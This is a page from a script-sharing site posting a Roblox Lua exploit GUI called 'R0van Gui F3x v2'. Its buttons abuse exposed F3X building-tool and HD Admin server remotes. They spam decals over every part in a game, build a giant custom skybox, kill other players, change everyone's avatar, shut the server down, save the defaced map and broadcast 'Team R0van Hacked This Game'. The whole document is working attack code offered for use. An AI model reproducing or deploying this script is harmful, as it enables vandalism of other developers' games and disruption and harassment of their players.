R0van Gui F3x v2 FE
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R0van Gui F3x v2 FE

Universal ScriptR0van_exploiterR0van_exploiter 1.1K views 118 executesUpdated Feb 12, 2026
5.0/ 5(1 votes)
10100% Positive
Lua Script•2383 lines (51510 chars)
local LMG2L = {}

LMG2L["ScreenGui_1"] = Instance.new("ScreenGui")
LMG2L["ScreenGui_1"].Parent = game:GetService("CoreGui")
LMG2L["ScreenGui_1"].ZIndexBehavior = Enum.ZIndexBehavior.Sibling
LMG2L["ScreenGui_1"].ResetOnSpawn = false


LMG2L["Frame_2"] = Instance.new("Frame", LMG2L["ScreenGui_1"]);
LMG2L["Frame_2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Frame_2"]["Size"] = UDim2.new(0, 658, 0, 400);
LMG2L["Frame_2"]["Position"] = UDim2.new(0, 76, 0, -26);
LMG2L["Frame_2"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
local UIS = game:GetService("UserInputService")

local frame = LMG2L["Frame_2"] 

local dragging = false
local dragStart
local startPos

local function update(input)
	local delta = input.Position - dragStart
	frame.Position = UDim2.new(
		startPos.X.Scale,
		startPos.X.Offset + delta.X,
		startPos.Y.Scale,
		startPos.Y.Offset + delta.Y
	)
end

frame.InputBegan:Connect(function(input)
	if input.UserInputType == Enum.UserInputType.MouseButton1
	or input.UserInputType == Enum.UserInputType.Touch then
		dragging = true
		dragStart = input.Position
		startPos = frame.Position

		input.Changed:Connect(function()
			if input.UserInputState == Enum.UserInputState.End then
				dragging = false
			end
		end)
	end
end)

frame.InputChanged:Connect(function(input)
	if dragging and (
		input.UserInputType == Enum.UserInputType.MouseMovement
		or input.UserInputType == Enum.UserInputType.Touch
	) then
		update(input)
	end
end)

UIS.InputChanged:Connect(function(input)
	if dragging and (
		input.UserInputType == Enum.UserInputType.MouseMovement
		or input.UserInputType == Enum.UserInputType.Touch
	) then
		update(input)
	end
end)

LMG2L["Decal _3"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Decal _3"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Decal _3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Decal _3"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Decal _3"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Decal _3"]["Text"] = [[Decal]];
LMG2L["Decal _3"]["Name"] = [[Decal ]];
LMG2L["Decal _3"]["Position"] = UDim2.new(0, 178, 0, 86);
LMG2L["Decal _3"].MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
	
			_(args)
		end
		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end
	
		function spam(id)
			for i,v in game.workspace:GetDescendants() do
				if v:IsA("BasePart") then
					spawn(function()
						SetLocked(v,false)
						SpawnDecal(v,Enum.NormalId.Front)
						AddDecal(v,id,Enum.NormalId.Front)
	
						SpawnDecal(v,Enum.NormalId.Back)
						AddDecal(v,id,Enum.NormalId.Back)
	
						SpawnDecal(v,Enum.NormalId.Right)
						AddDecal(v,id,Enum.NormalId.Right)
	
						SpawnDecal(v,Enum.NormalId.Left)
						AddDecal(v,id,Enum.NormalId.Left)
	
						SpawnDecal(v,Enum.NormalId.Bottom)
						AddDecal(v,id,Enum.NormalId.Bottom)
	
						SpawnDecal(v,Enum.NormalId.Top)
						AddDecal(v,id,Enum.NormalId.Top)
					end)
				end
			end 
		end
		spam("129040246467134")
end)

LMG2L["Chance Name _4"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Chance Name _4"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Chance Name _4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Chance Name _4"]["Size"] = UDim2.new(0, 144, 0, 36);
LMG2L["Chance Name _4"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Chance Name _4"]["Text"] = [[Chance Name]];
LMG2L["Chance Name _4"]["Name"] = [[Chance Name ]];
LMG2L["Chance Name _4"]["Position"] = UDim2.new(0, 494, 0, 220);
LMG2L["Chance Name _4"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

RequestCommand:InvokeServer(";titleb me R0van")
end)

LMG2L["Hint _5"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Hint _5"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Hint _5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Hint _5"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Hint _5"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Hint _5"]["Text"] = [[Hint]];
LMG2L["Hint _5"]["Name"] = [[Hint ]];
LMG2L["Hint _5"]["Position"] = UDim2.new(0, 20, 0, 132);
LMG2L["Hint _5"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

RequestCommand:InvokeServer(";hb Team R0van Hacked This Game LoL😱👌")
end)

LMG2L["R6_6"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["R6_6"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["R6_6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["R6_6"]["Size"] = UDim2.new(0, 40, 0, 36);
LMG2L["R6_6"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["R6_6"]["Text"] = [[R6]];
LMG2L["R6_6"]["Name"] = [[R6]];
LMG2L["R6_6"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

RequestCommand:InvokeServer(";r6")
end)

LMG2L["R0van Theme _7"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["R0van Theme _7"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["R0van Theme _7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["R0van Theme _7"]["Size"] = UDim2.new(0, 76, 0, 40);
LMG2L["R0van Theme _7"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["R0van Theme _7"]["Text"] = [[R0van Theme ]];
LMG2L["R0van Theme _7"]["Name"] = [[R0van Theme ]];
LMG2L["R0van Theme _7"]["Position"] = UDim2.new(0, 582, 0, 0);
LMG2L["R0van Theme _7"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

RequestCommand:InvokeServer(";music 127653283576622")
end)

LMG2L["TextLabel_8"] = Instance.new("TextLabel", LMG2L["Frame_2"]);
LMG2L["TextLabel_8"]["BorderSizePixel"] = 0;
LMG2L["TextLabel_8"]["TextSize"] = 16;
LMG2L["TextLabel_8"]["BackgroundColor3"] = Color3.fromRGB(4, 4, 4);
LMG2L["TextLabel_8"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["TextLabel_8"]["Size"] = UDim2.new(0, 292, 0, 64);
LMG2L["TextLabel_8"]["Text"] = [[R0van Gui F3x v2]];
LMG2L["TextLabel_8"]["Position"] = UDim2.new(0, 170, 0, 8);


LMG2L["Shutdown _9"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Shutdown _9"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Shutdown _9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Shutdown _9"]["Size"] = UDim2.new(0, 144, 0, 36);
LMG2L["Shutdown _9"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Shutdown _9"]["Text"] = [[Shutdown ]];
LMG2L["Shutdown _9"]["Name"] = [[Shutdown ]];
LMG2L["Shutdown _9"]["Position"] = UDim2.new(0, 494, 0, 176);
LMG2L["Shutdown _9"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

RequestCommand:InvokeServer(";shutdown")
end)

LMG2L["Avatar All_a"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Avatar All_a"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Avatar All_a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Avatar All_a"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Avatar All_a"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Avatar All_a"]["Text"] = [[Avatar All ]];
LMG2L["Avatar All_a"]["Name"] = [[Avatar All]];
LMG2L["Avatar All_a"]["Position"] = UDim2.new(0, 178, 0, 220);
LMG2L["Avatar All_a"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

RequestCommand:InvokeServer(";char all RevanNurdiansyahs")
end)

LMG2L["Mario Exe _b"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Mario Exe _b"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Mario Exe _b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Mario Exe _b"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Mario Exe _b"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Mario Exe _b"]["Text"] = [[Mario Exe]];
LMG2L["Mario Exe _b"]["Name"] = [[Mario Exe ]];
LMG2L["Mario Exe _b"]["Position"] = UDim2.new(0, 20, 0, 220);
LMG2L["Mario Exe _b"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
	local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

	RequestCommand:InvokeServer(";music 1332644289")
	RequestCommand:InvokeServer(";pitch 0.9")
	RequestCommand:InvokeServer(";volume inf")
	
	wait(4.8)

	local ReplicatedStorage = game:GetService("ReplicatedStorage")
	local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

	RequestCommand:InvokeServer(";music 133180219581309")
	RequestCommand:InvokeServer(";pitch 0.11")
	RequestCommand:InvokeServer(";volume inf")
	
	local player = game.Players.LocalPlayer
	local char = player.Character
	local tool
	for i,v in player:GetDescendants() do
		if v.Name == "SyncAPI" then
			tool = v.Parent
		end
	end
	for i,v in game.ReplicatedStorage:GetDescendants() do
		if v.Name == "SyncAPI" then
			tool = v.Parent
		end
	end
	--craaa
	remote = tool.SyncAPI.ServerEndpoint
	function _(args)
		remote:InvokeServer(unpack(args))
	end
	function SetCollision(part,boolean)
		local args = {
			[1] = "SyncCollision",
			[2] = {
				[1] = {
					["Part"] = part,
					["CanCollide"] = boolean
				}
			}
		}
		_(args)
	end
	function SetAnchor(boolean,part)
		local args = {
			[1] = "SyncAnchor",
			[2] = {
				[1] = {
					["Part"] = part,
					["Anchored"] = boolean
				}
			}
		}
		_(args)
	end
	function CreatePart(cf,parent)
		local args = {
			[1] = "CreatePart",
			[2] = "Normal",
			[3] = cf,
			[4] = parent
		}
		_(args)
	end
	function DestroyPart(part)
		local args = {
			[1] = "Remove",
			[2] = {
				[1] = part
			}
		}
		_(args)
	end
	function MovePart(part,cf)
		local args = {
			[1] = "SyncMove",
			[2] = {
				[1] = {
					["Part"] = part,
					["CFrame"] = cf
				}
			}
		}
		_(args)
	end
	function Resize(part,size,cf)
		local args = {
			[1] = "SyncResize",
			[2] = {
				[1] = {
					["Part"] = part,
					["CFrame"] = cf,
					["Size"] = size
				}
			}
		}
		_(args)
	end
	function AddMesh(part)
		local args = {
			[1] = "CreateMeshes",
			[2] = {
				[1] = {
					["Part"] = part
				}
			}
		}
		_(args)
	end

	function SetMesh(part,meshid)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["MeshId"] = "rbxassetid://"..meshid
				}
			}
		}
		_(args)
	end
	function SetTexture(part, texid)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["TextureId"] = "rbxassetid://"..texid
				}
			}
		}
		_(args)
	end
	function SetName(part, stringg)
		local args = {
			[1] = "SetName",
			[2] = {
				[1] = part
			},
			[3] = stringg
		}

		_(args)
	end
	function MeshResize(part,size)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["Scale"] = size
				}
			}
		}
		_(args)
	end
	function Weld(part1, part2,lead)
		local args = {
			[1] = "CreateWelds",
			[2] = {
				[1] = part1,
				[2] = part2
			},
			[3] = lead
		}
		_(args)

	end
	function SetLocked(part,boolean)
		local args = {
			[1] = "SetLocked",
			[2] = {
				[1] = part
			},
			[3] = boolean
		}
		_(args)
	end
	function SetTrans(part,int)
		local args = {
			[1] = "SyncMaterial",
			[2] = {
				[1] = {
					["Part"] = part,
					["Transparency"] = int
				}
			}
		}
		_(args)
	end
	function CreateSpotlight(part)
		local args = {
			[1] = "CreateLights",
			[2] = {
				[1] = {
					["Part"] = part,
					["LightType"] = "SpotLight"
				}
			}
		}
		_(args)
	end
	function SyncLighting(part,brightness)
		local args = {
			[1] = "SyncLighting",
			[2] = {
				[1] = {
					["Part"] = part,
					["LightType"] = "SpotLight",
					["Brightness"] = brightness
				}
			}
		}
		_(args)
	end
	function Color(part,color)
		local args = {
			[1] = "SyncColor",
			[2] = {
				[1] = {
					["Part"] = part,
					["Color"] = color --[[Color3]],
					["UnionColoring"] = false
				}
			}
		}
		_(args)
	end
	function SpawnDecal(part,side)
		local args = {
			[1] = "CreateTextures",
			[2] = {
				[1] = {
					["Part"] = part,
					["Face"] = side,
					["TextureType"] = "Decal"
				}
			}
		}

		_(args)
	end
	function AddDecal(part,asset,side)
		local args = {
			[1] = "SyncTexture",
			[2] = {
				[1] = {
					["Part"] = part,
					["Face"] = side,
					["TextureType"] = "Decal",
					["Texture"] = "rbxassetid://".. asset
				}
			}
		}
		_(args)
	end

	function spam(id)
		for i,v in game.workspace:GetDescendants() do
			if v:IsA("BasePart") then
				spawn(function()
					SetLocked(v,false)
					SpawnDecal(v,Enum.NormalId.Front)
					AddDecal(v,id,Enum.NormalId.Front)

					SpawnDecal(v,Enum.NormalId.Back)
					AddDecal(v,id,Enum.NormalId.Back)

					SpawnDecal(v,Enum.NormalId.Right)
					AddDecal(v,id,Enum.NormalId.Right)

					SpawnDecal(v,Enum.NormalId.Left)
					AddDecal(v,id,Enum.NormalId.Left)

					SpawnDecal(v,Enum.NormalId.Bottom)
					AddDecal(v,id,Enum.NormalId.Bottom)

					SpawnDecal(v,Enum.NormalId.Top)
					AddDecal(v,id,Enum.NormalId.Top)
				end)
			end
		end 
	end
	spam("137939198058148")
	
	local ReplicatedStorage = game:GetService("ReplicatedStorage")
	local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

	RequestCommand:InvokeServer(";time 17")
	
	wait (1)
	
	local player = game.Players.LocalPlayer
	local char = player.Character
	local tool
	for i,v in player:GetDescendants() do
		if v.Name == "SyncAPI" then
			tool = v.Parent
		end
	end
	for i,v in game.ReplicatedStorage:GetDescendants() do
		if v.Name == "SyncAPI" then
			tool = v.Parent
		end
	end
	--craaa
	remote = tool.SyncAPI.ServerEndpoint
	function _(args)
		remote:InvokeServer(unpack(args))
	end
	function SetCollision(part,boolean)
		local args = {
			[1] = "SyncCollision",
			[2] = {
				[1] = {
					["Part"] = part,
					["CanCollide"] = boolean
				}
			}
		}
		_(args)
	end
	function SetAnchor(boolean,part)
		local args = {
			[1] = "SyncAnchor",
			[2] = {
				[1] = {
					["Part"] = part,
					["Anchored"] = boolean
				}
			}
		}
		_(args)
	end
	function CreatePart(cf,parent)
		local args = {
			[1] = "CreatePart",
			[2] = "Normal",
			[3] = cf,
			[4] = parent
		}
		_(args)
	end
	function DestroyPart(part)
		local args = {
			[1] = "Remove",
			[2] = {
				[1] = part
			}
		}
		_(args)
	end
	function MovePart(part,cf)
		local args = {
			[1] = "SyncMove",
			[2] = {
				[1] = {
					["Part"] = part,
					["CFrame"] = cf
				}
			}
		}
		_(args)
	end
	function Resize(part,size,cf)
		local args = {
			[1] = "SyncResize",
			[2] = {
				[1] = {
					["Part"] = part,
					["CFrame"] = cf,
					["Size"] = size
				}
			}
		}
		_(args)
	end
	function AddMesh(part)
		local args = {
			[1] = "CreateMeshes",
			[2] = {
				[1] = {
					["Part"] = part
				}
			}
		}
		_(args)
	end

	function SetMesh(part,meshid)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["MeshId"] = "rbxassetid://"..meshid
				}
			}
		}
		_(args)
	end
	function SetTexture(part, texid)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["TextureId"] = "rbxassetid://"..texid
				}
			}
		}
		_(args)
	end
	function SetName(part, stringg)
		local args = {
			[1] = "SetName",
			[2] = {
				[1] = part
			},
			[3] = stringg
		}

		_(args)
	end
	function MeshResize(part,size)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["Scale"] = size
				}
			}
		}
		_(args)
	end
	function Weld(part1, part2,lead)
		local args = {
			[1] = "CreateWelds",
			[2] = {
				[1] = part1,
				[2] = part2
			},
			[3] = lead
		}
		_(args)

	end
	function SetLocked(part,boolean)
		local args = {
			[1] = "SetLocked",
			[2] = {
				[1] = part
			},
			[3] = boolean
		}
		_(args)
	end
	function SetTrans(part,int)
		local args = {
			[1] = "SyncMaterial",
			[2] = {
				[1] = {
					["Part"] = part,
					["Transparency"] = int
				}
			}
		}
		_(args)
	end
	function CreateSpotlight(part)
		local args = {
			[1] = "CreateLights",
			[2] = {
				[1] = {
					["Part"] = part,
					["LightType"] = "SpotLight"
				}
			}
		}
		_(args)
	end
	function SyncLighting(part,brightness)
		local args = {
			[1] = "SyncLighting",
			[2] = {
				[1] = {
					["Part"] = part,
					["LightType"] = "SpotLight",
					["Brightness"] = brightness
				}
			}
		}
		_(args)
	end
	function Color(part,color)
		local args = {
			[1] = "SyncColor",
			[2] = {
				[1] = {
					["Part"] = part,
					["Color"] = color --[[Color3]],
					["UnionColoring"] = false
				}
			}
		}
		_(args)
	end
	function SpawnDecal(part,side)
		local args = {
			[1] = "CreateTextures",
			[2] = {
				[1] = {
					["Part"] = part,
					["Face"] = side,
					["TextureType"] = "Decal"
				}
			}
		}

		_(args)
	end
	function AddDecal(part,asset,side)
		local args = {
			[1] = "SyncTexture",
			[2] = {
				[1] = {
					["Part"] = part,
					["Face"] = side,
					["TextureType"] = "Decal",
					["Texture"] = "rbxassetid://".. asset
				}
			}
		}
		_(args)
	end

	function Sky(id)
		e = char.HumanoidRootPart.CFrame.x
		f = char.HumanoidRootPart.CFrame.y
		g = char.HumanoidRootPart.CFrame.z
		CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
		for i,v in game.Workspace:GetDescendants() do
			if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
				--spawn(function()
				SetName(v,"Sky")
				AddMesh(v)
				--end)
				--spawn(function()
				SetMesh(v,"111891702759441")
				SetTexture(v,id)
				--end)
				MeshResize(v,Vector3.new(99999,99999,99999))
				SetLocked(v,true)
			end
		end
	end
	Sky("110039808033753")
	
	wait (0.5)
	
	local ReplicatedStorage = game:GetService("ReplicatedStorage")
	local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

	RequestCommand:InvokeServer(";fogcolor black")
	RequestCommand:InvokeServer(";savemap")
end)

LMG2L["Kill Other_c"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Kill Other_c"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Kill Other_c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Kill Other_c"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Kill Other_c"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Kill Other_c"]["Text"] = [[Kill Other]];
LMG2L["Kill Other_c"]["Name"] = [[Kill Other]];
LMG2L["Kill Other_c"]["Position"] = UDim2.new(0, 178, 0, 176);
LMG2L["Kill Other_c"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

RequestCommand:InvokeServer(";kill other")
end)

LMG2L["Backd0orrxrt Skybox _d"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Backd0orrxrt Skybox _d"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Backd0orrxrt Skybox _d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Backd0orrxrt Skybox _d"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Backd0orrxrt Skybox _d"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Backd0orrxrt Skybox _d"]["Text"] = [[Backd0orrxrt Skybox ]];
LMG2L["Backd0orrxrt Skybox _d"]["Name"] = [[Backd0orrxrt Skybox ]];
LMG2L["Backd0orrxrt Skybox _d"]["Position"] = UDim2.new(0, 336, 0, 132);
LMG2L["Backd0orrxrt Skybox _d"].MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool

for i,v in player:GetDescendants() do
	if v.Name == "SyncAPI" then
		tool = v.Parent
	end
end

for i,v in game.ReplicatedStorage:GetDescendants() do
	if v.Name == "SyncAPI" then
		tool = v.Parent
	end
end

remote = tool.SyncAPI.ServerEndpoint
function _(args)
	remote:InvokeServer(unpack(args))
end

function SetCollision(part,boolean)
	local args = {
		[1] = "SyncCollision",
		[2] = {
			[1] = {
				["Part"] = part,
				["CanCollide"] = boolean
			}
		}
	}
	_(args)
end

function SetAnchor(boolean,part)
	local args = {
		[1] = "SyncAnchor",
		[2] = {
			[1] = {
				["Part"] = part,
				["Anchored"] = boolean
			}
		}
	}
	_(args)
end

function CreatePart(cf,parent)
	local args = {
		[1] = "CreatePart",
		[2] = "Normal",
		[3] = cf,
		[4] = parent
	}
	_(args)
end

function DestroyPart(part)
	local args = {
		[1] = "Remove",
		[2] = {
			[1] = part
		}
	}
	_(args)
end

function MovePart(part,cf)
	local args = {
		[1] = "SyncMove",
		[2] = {
			[1] = {
				["Part"] = part,
				["CFrame"] = cf
			}
		}
	}
	_(args)
end

function Resize(part,size,cf)
	local args = {
		[1] = "SyncResize",
		[2] = {
			[1] = {
				["Part"] = part,
				["CFrame"] = cf,
				["Size"] = size
			}
		}
	}
	_(args)
end

function AddMesh(part)
	local args = {
		[1] = "CreateMeshes",
		[2] = {
			[1] = {
				["Part"] = part
			}
		}
	}
	_(args)
end

function SetMesh(part,meshid)
	local args = {
		[1] = "SyncMesh",
		[2] = {
			[1] = {
				["Part"] = part,
				["MeshId"] = "rbxassetid://"..meshid
			}
		}
	}
	_(args)
end

function SetTexture(part, texid)
	local args = {
		[1] = "SyncMesh",
		[2] = {
			[1] = {
				["Part"] = part,
				["TextureId"] = "rbxassetid://"..texid
			}
		}
	}
	_(args)
end

function SetName(part, stringg)
	local args = {
		[1] = "SetName",
		[2] = {
			[1] = part
		},
		[3] = stringg
	}
	_(args)
end

function MeshResize(part,size)
	local args = {
		[1] = "SyncMesh",
		[2] = {
			[1] = {
				["Part"] = part,
				["Scale"] = size
			}
		}
	}
	_(args)
end

function Weld(part1, part2,lead)
	local args = {
		[1] = "CreateWelds",
		[2] = {
			[1] = part1,
			[2] = part2
		},
		[3] = lead
	}
	_(args)
end

function SetLocked(part,boolean)
	local args = {
		[1] = "SetLocked",
		[2] = {
			[1] = part
		},
		[3] = boolean
	}
	_(args)
end

function SetTrans(part,int)
	local args = {
		[1] = "SyncMaterial",
		[2] = {
			[1] = {
				["Part"] = part,
				["Transparency"] = int
			}
		}
	}
	_(args)
end

function CreateSpotlight(part)
	local args = {
		[1] = "CreateLights",
		[2] = {
			[1] = {
				["Part"] = part,
				["LightType"] = "SpotLight"
			}
		}
	}
	_(args)
end

function SyncLighting(part,brightness)
	local args = {
		[1] = "SyncLighting",
		[2] = {
			[1] = {
				["Part"] = part,
				["LightType"] = "SpotLight",
				["Brightness"] = brightness
			}
		}
	}
	_(args)
end

function Color(part,color)
	local args = {
		[1] = "SyncColor",
		[2] = {
			[1] = {
				["Part"] = part,
				["Color"] = color,
				["UnionColoring"] = false
			}
		}
	}
	_(args)
end

function SpawnDecal(part,side)
	local args = {
		[1] = "CreateTextures",
		[2] = {
			[1] = {
				["Part"] = part,
				["Face"] = side,
				["TextureType"] = "Decal"
			}
		}
	}
	_(args)
end

function AddDecal(part,asset,side)
	local args = {
		[1] = "SyncTexture",
		[2] = {
			[1] = {
				["Part"] = part,
				["Face"] = side,
				["TextureType"] = "Decal",
				["Texture"] = "rbxassetid://".. asset
			}
		}
	}
	_(args)
end

function Sky(id)
	local root = char:WaitForChild("HumanoidRootPart")
	local pos = root.CFrame + Vector3.new(0, 6, 0)
	CreatePart(pos, workspace)
	task.wait(0.2)
	local skyPart
	for _, v in workspace:GetChildren() do
		if v:IsA("BasePart") and (v.Position - pos.Position).magnitude < 1 then
			skyPart = v
			break
		end
	end
	if skyPart then
		SetName(skyPart, "Sky")
		AddMesh(skyPart)
		SetMesh(skyPart, "111891702759441")
		SetTexture(skyPart, id)
		MeshResize(skyPart, Vector3.new(1000, 1000, 1000))
		SetLocked(skyPart, true)
		SetAnchor(true, skyPart)
	end
end

Sky("96136315502110")
end)

